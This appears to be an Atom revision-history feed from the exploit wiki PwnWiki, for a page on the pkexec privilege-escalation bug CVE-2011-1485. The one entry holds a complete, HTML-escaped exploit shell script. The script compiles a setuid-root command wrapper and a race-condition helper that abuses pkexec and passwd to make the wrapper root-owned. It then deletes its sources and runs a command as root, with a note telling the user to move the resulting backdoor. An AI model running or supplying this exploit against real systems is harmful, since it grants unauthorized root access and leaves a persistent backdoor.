<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-1485_pkexec%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2011-1485 pkexec特權提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-1485_pkexec%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-1485_pkexec%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-18T08:33:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2011-1485_pkexec%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=956&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==run.sh== &lt;pre&gt; # modified from http://downloads.securityfocus.com/vulnerabilities/exploits/47496.sh # for rdot.org cat &gt; suid.c &lt;&lt; _EOF #include &lt;stdio.h&gt; #include &lt;stdlib.h...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-1485_pkexec%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=956&amp;oldid=prev"/>
		<updated>2021-04-03T06:27:20Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==run.sh== &amp;lt;pre&amp;gt; # modified from http://downloads.securityfocus.com/vulnerabilities/exploits/47496.sh # for rdot.org cat &amp;gt; suid.c &amp;lt;&amp;lt; _EOF #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==run.sh==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# modified from http://downloads.securityfocus.com/vulnerabilities/exploits/47496.sh&lt;br /&gt;
# for rdot.org&lt;br /&gt;
cat &amp;gt; suid.c &amp;lt;&amp;lt; _EOF&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
if(argc == 2) {&lt;br /&gt;
setgid(0); setuid(0);&lt;br /&gt;
system(argv[1]); }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
_EOF&lt;br /&gt;
cat &amp;gt; makesuid.c &amp;lt;&amp;lt; _EOF&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/inotify.h&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
   if (fork() != 0)&lt;br /&gt;
	{	    &lt;br /&gt;
		int fd;&lt;br /&gt;
		char pid_path[15];&lt;br /&gt;
		sprintf(pid_path, &amp;quot;/proc/%i&amp;quot;, getpid());&lt;br /&gt;
		close(0); close(1); close(2);&lt;br /&gt;
		fd = inotify_init();&lt;br /&gt;
		inotify_add_watch(fd, pid_path, IN_ACCESS);&lt;br /&gt;
		read(fd, NULL, 0);&lt;br /&gt;
		execl(&amp;quot;/usr/bin/passwd&amp;quot;, &amp;quot;/usr/bin/passwd&amp;quot;, NULL);	&lt;br /&gt;
	}   &lt;br /&gt;
	else&lt;br /&gt;
	{&lt;br /&gt;
		    execl(&amp;quot;/usr/bin/pkexec&amp;quot;, &amp;quot;pkexec&amp;quot;, argv[1],argv[2],argv[3], NULL);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
_EOF&lt;br /&gt;
gcc -o suid suid.c&lt;br /&gt;
gcc -o makesuid makesuid.c&lt;br /&gt;
./makesuid chown root:root $PWD/suid&lt;br /&gt;
./makesuid chmod u+s $PWD/suid&lt;br /&gt;
echo &amp;quot;your suid is on ./suid make sure u move this !!!&amp;quot;&lt;br /&gt;
rm suid.c makesuid.c makesuid&lt;br /&gt;
$PWD/suid -c /usr/bin/id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>